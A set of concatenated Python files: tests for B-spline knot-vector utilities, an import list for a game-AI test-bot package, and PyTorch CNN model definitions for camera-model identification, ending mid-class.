np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0.2, 0.4, 0.6, 0.8, 1, 1]) Utest = SUF.UUniform(p=1, n=6) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 1, 1, 1]) Utest = SUF.UUniform(p=2, n=3) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0.5, 1, 1, 1]) Utest = SUF.UUniform(p=2, n=4) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0.25, 0.5, 0.75, 1, 1, 1]) Utest = SUF.UUniform(p=2, n=6) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0.2, 0.4, 0.6, 0.8, 1, 1, 1]) Utest = SUF.UUniform(p=2, n=7) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0, 1, 1, 1, 1]) Utest = SUF.UUniform(p=3, n=4) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0, 0.5, 1, 1, 1, 1]) Utest = SUF.UUniform(p=3, n=5) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0, 0.25, 0.5, 0.75, 1, 1, 1, 1]) Utest = SUF.UUniform(p=3, n=7) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0, 0.2, 0.4, 0.6, 0.8, 1, 1, 1, 1]) Utest = SUF.UUniform(p=3, n=8) np.testing.assert_almost_equal(Ugood, Utest) def test_URandom(): Ntest = 100 for p in (1, 2, 3): for n in range(p + 1, 30): for zz in range(Ntest): U = SUF.URandom(p=p, n=n) assert SUF.isValidU(U) is True assert SUF.getPfromU(U) == p assert SUF.getNfromU(U) == n def test_transpose(): II = np.eye(3) IItest = SUF.transpose(II) np.testing.assert_almost_equal(IItest, II) II = np.eye(4) IItest = SUF.transpose(II) np.testing.assert_almost_equal(IItest, II) II = np.eye(3) IItest = SUF.transpose(II, diagonal=2) np.testing.assert_almost_equal(IItest, II) II = np.eye(4) IItest = SUF.transpose(II, diagonal=2) np.testing.assert_almost_equal(IItest, II) def test_isSymetric(): II = np.eye(3) assert SUF.isSymetric(II) is True II = np.eye(4) assert SUF.isSymetric(II) is True II = np.eye(3) assert SUF.isSymetric(II, diagonal=2) is True II = np.eye(4) assert SUF.isSymetric(II, diagonal=2) is True II = np.array([[1, 2, 3, 4], [4, 3, 2, 1]]) assert SUF.isSymetric(II, diagonal=2) is True II = np.array([[1, 2, 4, 4], [4, 4, 2, 1]]) assert SUF.isSymetric(II, diagonal=2) is True II = np.array([[7, 2, 4, 3], [4, 4, 2, 7]]) assert SUF.isSymetric(II, diagonal=2) is False II = np.array([[7, 2, 4, 7], [7, 4, 2, 3]]) assert SUF.isSymetric(II, diagonal=2) is False def test_getPfromU(): U = SUF.UBezier(p=1) ptest = SUF.getPfromU(U) assert ptest == 1 U = SUF.UBezier(p=2) ptest = SUF.getPfromU(U) assert ptest == 2 U = SUF.UBezier(p=3) ptest = SUF.getPfromU(U) assert ptest == 3 U = SUF.UBezier(p=4) ptest = SUF.getPfromU(U) assert ptest == 4 U = SUF.UUniform(p=1, n=6) ptest = SUF.getPfromU(U) assert ptest == 1 U = SUF.UUniform(p=2, n=6) ptest = SUF.getPfromU(U) assert ptest == 2 U = SUF.UUniform(p=3, n=6) ptest = SUF.getPfromU(U) assert ptest == 3 U = SUF.UUniform(p=4, n=6) ptest = SUF.getPfromU(U) assert ptest == 4 U = np.array([0, 0, 0, 0.2, 0.8, 1, 1, 1]) ptest = SUF.getPfromU(U) assert ptest == 2 def test_getNfromU(): U = SUF.UBezier(p=1) ptest = SUF.getNfromU(U) assert ptest == 2 U = SUF.UBezier(p=2) ptest = SUF.getNfromU(U) assert ptest == 3 U = SUF.UBezier(p=3) ptest = SUF.getNfromU(U) assert ptest == 4 U = SUF.UBezier(p=4) ptest = SUF.getNfromU(U) assert ptest == 5 U = SUF.UUniform(p=1, n=6) ptest = SUF.getNfromU(U) assert ptest == 6 U = SUF.UUniform(p=2, n=6) ptest = SUF.getNfromU(U) assert ptest == 6 U = SUF.UUniform(p=3, n=6) ptest = SUF.getNfromU(U) assert ptest == 6 U = SUF.UUniform(p=4, n=6) ptest = SUF.getNfromU(U) assert ptest == 6 U = np.array([0, 0, 0, 0.2, 0.8, 1, 1, 1]) ptest = SUF.getNfromU(U) assert ptest == 5 def test_transformUtoH(): U = SUF.UBezier(p=1) Hgood = np.array([1]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=2) Hgood = np.array([0, 1, 0]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=3) Hgood = np.array([0, 0, 1, 0, 0]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=4) Hgood = np.array([0, 0, 0, 1, 0, 0, 0]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=1, n=6) Hgood = np.array([0.2, 0.2, 0.2, 0.2, 0.2]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=2, n=6) Hgood = np.array([0, 0.25, 0.25, 0.25, 0.25, 0]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=3, n=6) Hgood = np.array([0, 0, 1, 1, 1, 0, 0]) / 3 Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=4, n=6) Hgood = np.array([0, 0, 0, 1, 1, 0, 0, 0]) / 2 Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = np.array([0, 0, 0, 0.2, 0.8, 1, 1, 1]) # p = 2 and n = 5 Hgood = np.array([0, 0.2, 0.6, 0.2, 0]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = np.array([0, 0, 0, 0, 0.2, 0.8, 1, 1, 1, 1]) # p = 3 and n = 6 Hgood = np.array([0, 0, 0.2, 0.6, 0.2, 0, 0]) Htest = SUF.transformUtoH(U) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=2) Hgood = np.array([1]) Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=2) Hgood = np.array([1]) Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=3) Hgood = np.array([1]) Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=3) Hgood = np.array([1]) Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=3) Hgood = np.array([0, 1, 0]) Htest = SUF.transformUtoH(U, j=2) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=4) Hgood = np.array([1]) Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=4) Hgood = np.array([1]) Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=4) Hgood = np.array([0, 1, 0]) Htest = SUF.transformUtoH(U, j=2) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UBezier(p=4) Hgood = np.array([0, 0, 1, 0, 0]) Htest = SUF.transformUtoH(U, j=3) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=1, n=6) Hgood = np.array([0.2, 0.2, 0.2, 0.2, 0.2]) Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=2, n=6) Hgood = np.array([0.25, 0.25, 0.25, 0.25]) Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=2, n=6) Hgood = np.array([0.25, 0.25, 0.25, 0.25]) Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=3, n=6) Hgood = np.array([1, 1, 1]) / 3 Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=3, n=6) Hgood = np.array([1, 1, 1]) / 3 Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=3, n=6) Hgood = np.array([0, 1, 1, 1, 0]) / 3 Htest = SUF.transformUtoH(U, j=2) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=4, n=6) Hgood = np.array([1, 1]) / 2 Htest = SUF.transformUtoH(U, j=0) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=4, n=6) Hgood = np.array([1, 1]) / 2 Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=4, n=6) Hgood = np.array([0, 1, 1, 0]) / 2 Htest = SUF.transformUtoH(U, j=2) np.testing.assert_almost_equal(Hgood, Htest) U = SUF.UUniform(p=4, n=6) Hgood = np.array([0, 0, 1, 1, 0, 0]) / 2 Htest = SUF.transformUtoH(U, j=3) np.testing.assert_almost_equal(Hgood, Htest) U = np.array([0, 0, 0, 0.2, 0.8, 1, 1, 1]) # p = 2 and n = 5 Hgood = np.array([0.2, 0.6, 0.2]) Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = np.array([0, 0, 0, 0, 0.2, 0.8, 1, 1, 1, 1]) # p = 3 and n = 6 Hgood = np.array([0.2, 0.6, 0.2]) Htest = SUF.transformUtoH(U, j=1) np.testing.assert_almost_equal(Hgood, Htest) U = np.array([0, 0, 0, 0, 0.2, 0.8, 1, 1, 1, 1]) # p = 3 and n = 6 Hgood = np.array([0, 0.2, 0.6, 0.2, 0]) Htest = SUF.transformUtoH(U, j=2) np.testing.assert_almost_equal(Hgood, Htest) def test_transformHtoSides(): H = np.array([1, 1, 1]) Sgood = np.array([[1], [1]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([0, 1, 1]) Sgood = np.array([[0], [1]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([1, 1, 0]) Sgood = np.array([[1], [0]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([0, 1, 0]) Sgood = np.array([[0], [0]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([0.6, 1, 0.3]) Sgood = np.array([[0.6], [0.3]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([6, 10, 3]) Sgood = np.array([[0.6], [0.3]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([1, 1, 1, 1, 1]) Sgood = np.array([[1, 1], [1, 1]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([0, 1, 1, 1, 1]) Sgood = np.array([[1, 0], [1, 1]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([1, 1, 1, 1, 0]) Sgood = np.array([[1, 1], [1, 0]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([0, 0, 1, 0, 0]) Sgood = np.array([[0, 0], [0, 0]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([0.2, 0.6, 1, 0.3, 0.4]) Sgood = np.array([[0.6, 0.2], [0.3, 0.4]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) H = np.array([2, 6, 10, 3, 4]) Sgood = np.array([[0.6, 0.2], [0.3, 0.4]]) Stest = SUF.transformHtoSides(H) np.testing.assert_almost_equal(Sgood, Stest) def test_cutHtoElementZ(): H = np.array([0.5, 0.5]) Zgood = np.array([0.5]) Ztest = SUF.cutHtoElementZ(H, 0) np.testing.assert_almost_equal(Zgood, Ztest) H = np.array([0.5, 0.5]) Zgood = np.array([0.5]) Ztest = SUF.cutHtoElementZ(H, 1) np.testing.assert_almost_equal(Zgood, Ztest) H = np.array([0, 0.5, 0.5, 0]) Zgood = np.array([0, 0.5, 0.5]) Ztest = SUF.cutHtoElementZ(H, 0) np.testing.assert_almost_equal(Zgood, Ztest) H = np.array([0, 0.5, 0.5, 0]) Zgood = np.array([0.5, 0.5, 0]) Ztest = SUF.cutHtoElementZ(H, 1) np.testing.assert_almost_equal(Zgood, Ztest) H = np.array([0, 0, 0.5, 0.5, 0, 0]) Zgood = np.array([0, 0, 0.5, 0.5, 0]) Ztest = SUF.cutHtoElementZ(H, 0) np.testing.assert_almost_equal(Zgood, Ztest) H = np.array([0, 0, 0.5, 0.5, 0, 0]) Zgood = np.array([0, 0.5, 0.5, 0, 0]) Ztest = SUF.cutHtoElementZ(H, 1) np.testing.assert_almost_equal(Zgood, Ztest) def test_isDiagonalDominant(): M = np.eye(3) assert SUF.isDiagonalDominant(M) is True M = np.ones((3, 3)) assert SUF.isDiagonalDominant(M) is False M = np.zeros((3, 3)) assert SUF.isDiagonalDominant(M) is False M = np.eye(3) - (1 / 3) assert SUF.isDiagonalDominant(M) is False M = 1.0001 * np.eye(3) - (1 / 3) assert SUF.isDiagonalDominant(M) is True # def main(): # unittest.main() # if __name__ == "__main__": # main()

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Python

ffai/ai/bots/testbots/__init__.py

tysen2k/ffai

2fa1fd45a8877986fdb21e3fea5e01cbf819d3ec

[ "Apache-2.0" ]

null

ffai/ai/bots/testbots/__init__.py

tysen2k/ffai

2fa1fd45a8877986fdb21e3fea5e01cbf819d3ec

[ "Apache-2.0" ]

null

ffai/ai/bots/testbots/__init__.py

tysen2k/ffai

2fa1fd45a8877986fdb21e3fea5e01cbf819d3ec

[ "Apache-2.0" ]

null

from .crash_bot import * from .idle_bot import * from .init_crash_bot import * from .just_in_time_bot import * from .manipulator_bot import * from .violator_bot import *

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Python

mephistopheies/kaggle_camera_model_id_lib/kaggle_camera_model_id_lib/models/models.py

cortwave/camera-model-identification

b2cbac93308bd6e1bc9d38391f5e97f48da99263

[ "BSD-2-Clause" ]

6

2018-02-09T11:40:29.000Z

2021-06-14T06:08:50.000Z

mephistopheies/kaggle_camera_model_id_lib/kaggle_camera_model_id_lib/models/models.py

cortwave/camera-model-identification

b2cbac93308bd6e1bc9d38391f5e97f48da99263

[ "BSD-2-Clause" ]

null

mephistopheies/kaggle_camera_model_id_lib/kaggle_camera_model_id_lib/models/models.py

cortwave/camera-model-identification

b2cbac93308bd6e1bc9d38391f5e97f48da99263

[ "BSD-2-Clause" ]

7

2018-02-09T11:41:11.000Z

2021-06-14T06:08:52.000Z

import math import torch import torch.nn as nn import torch.nn.functional as F import torchvision.models as models import pretrainedmodels from pretrainedmodels.models.inceptionresnetv2 import BasicConv2d, Mixed_5b, Block35, Block17, Block8 from pretrainedmodels.models.inceptionresnetv2 import Mixed_6a, Mixed_7a resnets = { 'resnet18': lambda: models.resnet18(pretrained=True), 'resnet34': lambda: models.resnet34(pretrained=True), 'resnet50': lambda: models.resnet50(pretrained=True), 'resnet101': lambda: models.resnet101(pretrained=True), 'resnet152': lambda: models.resnet152(pretrained=True) } cfg = { 'A': [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'], 'B': [64, 64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'], 'D': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512, 'M'], 'E': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M'], 'E_2b': [64, 64, 'M', 128, 128, 'M'], 'E_3b': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M'] } cfg_vgg_map = { 'A': lambda: models.vgg11(pretrained=True), 'B': lambda: models.vgg13(pretrained=True), 'D': lambda: models.vgg16(pretrained=True), 'E': lambda: models.vgg19(pretrained=True), 'E_2b': lambda: models.vgg19(pretrained=True), 'E_3b': lambda: models.vgg19(pretrained=True) } cfg_vgg_bn_map = { 'A': lambda: models.vgg11_bn(pretrained=True), 'B': lambda: models.vgg13_bn(pretrained=True), 'D': lambda: models.vgg16_bn(pretrained=True), 'E': lambda: models.vgg19_bn(pretrained=True), 'E_2b': lambda: models.vgg19_bn(pretrained=True), 'E_3b': lambda: models.vgg19_bn(pretrained=True) } def make_layers_vgg(cfg, batch_norm=False): layers = [] in_channels = 3 for v in cfg: if v == 'M': layers += [nn.MaxPool2d(kernel_size=2, stride=2)] else: conv2d = nn.Conv2d(in_channels, v, kernel_size=3, padding=1) if batch_norm: layers += [conv2d, nn.BatchNorm2d(v), nn.ReLU(inplace=True)] else: layers += [conv2d, nn.ReLU(inplace=True)] in_channels = v return nn.Sequential(*layers) class VggHead(nn.Module): def _transfer_vgg_head(self, vgg_key, load_vgg_bn=False, batch_norm=False): self.vgg = make_layers_vgg(cfg[vgg_key], batch_norm=batch_norm) if load_vgg_bn: if batch_norm: vgg = cfg_vgg_bn_map[vgg_key]() else: vgg = cfg_vgg_map[vgg_key]() keys = set(self.vgg.state_dict().keys()) self.vgg.load_state_dict(dict([(k, v) for (k, v) in vgg.features.state_dict().items() if k in keys])) def _create_classifier(self, in_filters, num_classes): self.project = nn.Conv2d( in_filters, num_classes, kernel_size=(1, 1), stride=(1, 1), padding=(0, 0), bias=True) self.bn = nn.BatchNorm2d(num_classes) self.relu = nn.ReLU(inplace=True) self.avgpool = nn.AdaptiveAvgPool2d(1) def __init__(self, vgg_key, batch_norm=True, num_classes=10, load_vgg_bn=False): super(VggHead, self).__init__() self._transfer_vgg_head(load_vgg_bn=load_vgg_bn, vgg_key=vgg_key, batch_norm=batch_norm) self._create_classifier(cfg[vgg_key][-2], num_classes) def forward(self, x): x = self.vgg(x) x = self.project(x) x = self.bn(x) x = self.relu(x) x = self.avgpool(x) x = x.view(x.shape[0], x.shape[1]) return x class StyleVggHead(VggHead): def _create_classifier(self, num_classes): self.fc1 = nn.Linear(8128, 4096) self.bn1 = nn.BatchNorm1d(4096) self.relu = nn.ReLU(inplace=True) self.fc2 = nn.Linear(4096, 2048) self.bn2 = nn.BatchNorm1d(2048) self.fc3 = nn.Linear(2048, num_classes) def __init__(self, vgg_key, batch_norm=True, num_classes=10, load_vgg_bn=False): super(StyleVggHead, self).__init__( num_classes, load_vgg_bn=load_vgg_bn, vgg_key=vgg_key, batch_norm=batch_norm) self._create_classifier(num_classes) def forward(self, x): x = self.vgg(x) (b, c, h, w) = x.shape x = x.view(b, c, w * h) x = x.bmm(x.transpose(1, 2)) / (c * h * w) x = torch.stack( [torch.cat([torch.diag(x[j, :], i) for i in range(1, x.shape[1])]) for j in range(x.shape[0])]) x = self.fc1(x) x = self.bn1(x) x = self.relu(x) x = self.fc2(x) x = self.bn2(x) x = self.relu(x) x = self.fc3(x) return x class IEEEfcn(nn.Module): def _initialize_weights(self): for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) if m.bias is not None: m.bias.data.zero_() elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() elif isinstance(m, nn.Linear): m.weight.data.normal_(0, 0.01) m.bias.data.zero_() def __init__(self, num_classes=10): super(IEEEfcn, self).__init__() self.net = nn.Sequential( nn.Conv2d(3, 32, kernel_size=(4, 4), stride=1), nn.SELU(inplace=True), nn.MaxPool2d(kernel_size=(2, 2), stride=2), nn.Conv2d(32, 48, kernel_size=(5, 5), stride=1), nn.SELU(inplace=True), nn.MaxPool2d(kernel_size=(2, 2), stride=2), nn.Conv2d(48, 64, kernel_size=(5, 5), stride=1), nn.SELU(inplace=True), nn.MaxPool2d(kernel_size=(2, 2), stride=2), nn.Conv2d(64, 128, kernel_size=(5, 5), stride=1), nn.SELU(inplace=True), nn.Conv2d(128, num_classes, kernel_size=(1, 1), stride=1), nn.SELU(inplace=True), nn.AdaptiveAvgPool2d(1), ) self._initialize_weights() def forward(self, x): x = self.net(x) return x.squeeze() class ResNetFC(nn.Module): def __init__(self, block, layers, num_classes=1000, load_resnet='resnet18', pool_type='avg'): self.inplanes = 64 super(ResNetFC, self).__init__() self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) self.project = nn.Conv2d( 512*block.expansion, num_classes, kernel_size=(1, 1), stride=(1, 1), padding=(0, 0), bias=True) self.bn2 = nn.BatchNorm2d(num_classes) if pool_type == 'max': self.avgpool = nn.AdaptiveMaxPool2d(1) else: self.avgpool = nn.AdaptiveAvgPool2d(1) for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() if load_resnet is not None: resnet = resnets[load_resnet]() keys = set(self.state_dict().keys()) state_dict = self.state_dict() state_dict.update(dict([(k, v) for (k, v) in resnet.state_dict().items() if k in keys])) self.load_state_dict(state_dict) def _make_layer(self, block, planes, blocks, stride=1): downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(planes * block.expansion), ) layers = [] layers.append(block(self.inplanes, planes, stride, downsample)) self.inplanes = planes * block.expansion for i in range(1, blocks): layers.append(block(self.inplanes, planes)) return nn.Sequential(*layers) def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.project(x) x = self.bn2(x) x = self.relu(x) x = self.avgpool(x) return x.squeeze() class ResNetX(nn.Module): def __init__(self, block, layers, num_classes=1000, load_resnet='resnet18', pool_type='avg'): self.inplanes = 64 super(ResNetX, self).__init__() self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) if pool_type == 'max': self.avgpool = nn.AdaptiveMaxPool2d(1) else: self.avgpool = nn.AdaptiveAvgPool2d(1) self.fc1 = nn.Linear(512 * block.expansion, 512) self.bn2 = nn.BatchNorm2d(512) self.fc2 = nn.Linear(512, num_classes) for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() if load_resnet is not None: resnet = resnets[load_resnet]() keys = set(self.state_dict().keys()) state_dict = self.state_dict() state_dict.update(dict([(k, v) for (k, v) in resnet.state_dict().items() if k in keys])) self.load_state_dict(state_dict) def _make_layer(self, block, planes, blocks, stride=1): downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(planes * block.expansion), ) layers = [] layers.append(block(self.inplanes, planes, stride, downsample)) self.inplanes = planes * block.expansion for i in range(1, blocks): layers.append(block(self.inplanes, planes)) return nn.Sequential(*layers) def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.avgpool(x) x = self.fc1(x.squeeze()) x = self.bn2(x) x = self.relu(x) x = self.fc2(x) return x class InceptionResNetV2fc(nn.Module): def __init__(self, num_classes=1001, nun_block35=10, num_block17=20, num_block8=9): super(InceptionResNetV2fc, self).__init__() # Modules self.conv2d_1a = BasicConv2d(3, 32, kernel_size=3, stride=2) self.conv2d_2a = BasicConv2d(32, 32, kernel_size=3, stride=1) self.conv2d_2b = BasicConv2d(32, 64, kernel_size=3, stride=1, padding=1) self.maxpool_3a = nn.MaxPool2d(3, stride=2) self.conv2d_3b = BasicConv2d(64, 80, kernel_size=1, stride=1) self.conv2d_4a = BasicConv2d(80, 192, kernel_size=3, stride=1) self.maxpool_5a = nn.MaxPool2d(3, stride=2) self.mixed_5b = Mixed_5b() self.repeat = nn.Sequential( *[Block35(scale=0.17) for i in range(nun_block35)] ) self.mixed_6a = Mixed_6a() self.repeat_1 = nn.Sequential( *[Block17(scale=0.10) for i in range(num_block17)] ) self.mixed_7a = Mixed_7a() self.repeat_2 = nn.Sequential( *[Block8(scale=0.20) for i in range(num_block8)] ) self.block8 = Block8(noReLU=True) self.conv2d_7b = BasicConv2d(2080, 1536, kernel_size=1, stride=1) self.project = nn.Conv2d( 1536, num_classes, kernel_size=(1, 1), stride=(1, 1), padding=(0, 0), bias=True) self.bn2 = nn.BatchNorm2d(num_classes) self.avgpool = nn.AdaptiveAvgPool2d(1) self.relu = nn.ReLU(inplace=True) def features(self, input): x = self.conv2d_1a(input) x = self.conv2d_2a(x) x = self.conv2d_2b(x) x = self.maxpool_3a(x) x = self.conv2d_3b(x) x = self.conv2d_4a(x) x = self.maxpool_5a(x) x = self.mixed_5b(x) x = self.repeat(x) x = self.mixed_6a(x) x = self.repeat_1(x) x = self.mixed_7a(x) x = self.repeat_2(x) x = self.block8(x) x = self.conv2d_7b(x) return x def logits(self, features): x = self.project(features) x = self.bn2(x) x = self.relu(x) x = self.avgpool(x) return x.squeeze() def forward(self, input): x = self.features(input) x = self.logits(x) return x class InceptionResNetV2fcSmall(nn.Module): def __init__(self, num_classes=1001, nun_block35=10, num_block17=20): super(InceptionResNetV2fcSmall, self).__init__() # Modules self.conv2d_1a = BasicConv2d(3, 32, kernel_size=3, stride=2) self.conv2d_2a = BasicConv2d(32, 32, kernel_size=3, stride=1) self.conv2d_2b = BasicConv2d(32, 64, kernel_size=3, stride=1, padding=1) self.maxpool_3a = nn.MaxPool2d(3, stride=2) self.conv2d_3b = BasicConv2d(64, 80, kernel_size=1, stride=1) self.conv2d_4a = BasicConv2d(80, 192, kernel_size=3, stride=1) self.maxpool_5a = nn.MaxPool2d(3, stride=2) self.mixed_5b = Mixed_5b() self.repeat = nn.Sequential( *[Block35(scale=0.17) for i in range(nun_block35)] ) self.mixed_6a = Mixed_6a() self.repeat_1 = nn.Sequential( *[Block17(scale=0.10) for i in range(num_block17)] ) self.project = nn.Conv2d( 1088, num_classes, kernel_size=(1, 1), stride=(1, 1), padding=(0, 0), bias=True) self.bn2 = nn.BatchNorm2d(num_classes) self.avgpool = nn.AdaptiveAvgPool2d(1) self.relu = nn.ReLU(inplace=True) def features(self, input): x = self.conv2d_1a(input) x = self.conv2d_2a(x) x = self.conv2d_2b(x) x = self.maxpool_3a(x) x = self.conv2d_3b(x) x = self.conv2d_4a(x) x = self.maxpool_5a(x) x = self.mixed_5b(x) x = self.repeat(x) x = self.mixed_6a(x) x = self.repeat_1(x) return x def logits(self, features): x = self.project(features) x = self.bn2(x) x = self.relu(x) x = self.avgpool(x) return x.squeeze() def forward(self, input): x = self.features(input) x = self.logits(x) return x class FatNet1(nn.Module): def _initialize_weights(self): for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) if m.bias is not None: m.bias.data.zero_() elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() elif isinstance(m, nn.Linear): m.weight.data.normal_(0, 0.01) if m.bias is not None: m.bias.data.zero_() def __init__(self, num_classes=10): super(FatNet1, self).__init__() self.features = nn.Sequential( nn.Conv2d(3, 128, 11, stride=1, bias=False), nn.BatchNorm2d(128), nn.ReLU(), nn.MaxPool2d(2, 2), nn.Conv2d(128, 256, 7, stride=1, bias=False), nn.BatchNorm2d(256), nn.ReLU(), nn.MaxPool2d(2, 2), nn.Conv2d(256, 512, 5, stride=1, bias=False), nn.BatchNorm2d(512), nn.ReLU(), nn.MaxPool2d(2, 2), nn.Conv2d(512, 1024, 3, stride=1, bias=False), nn.BatchNorm2d(1024), nn.ReLU(), nn.MaxPool2d(2, 2), nn.Conv2d(1024, 2048, 1, stride=1, bias=False), nn.BatchNorm2d(2048), nn.ReLU(), nn.MaxPool2d(2, 2), nn.Conv2d(2048, 4096, 3, stride=1, bias=False), nn.BatchNorm2d(4096), nn.ReLU(), nn.AdaptiveAvgPool2d(1) ) self.classifier = nn.Sequential( nn.Dropout(0.5), nn.Linear(4096, 2048, bias=False), nn.BatchNorm1d(2048), nn.ReLU(), nn.Dropout(0.5), nn.Linear(2048, 1024, bias=False), nn.BatchNorm1d(1024), nn.ReLU(), nn.Linear(1024, num_classes, bias=True) ) self._initialize_weights() def 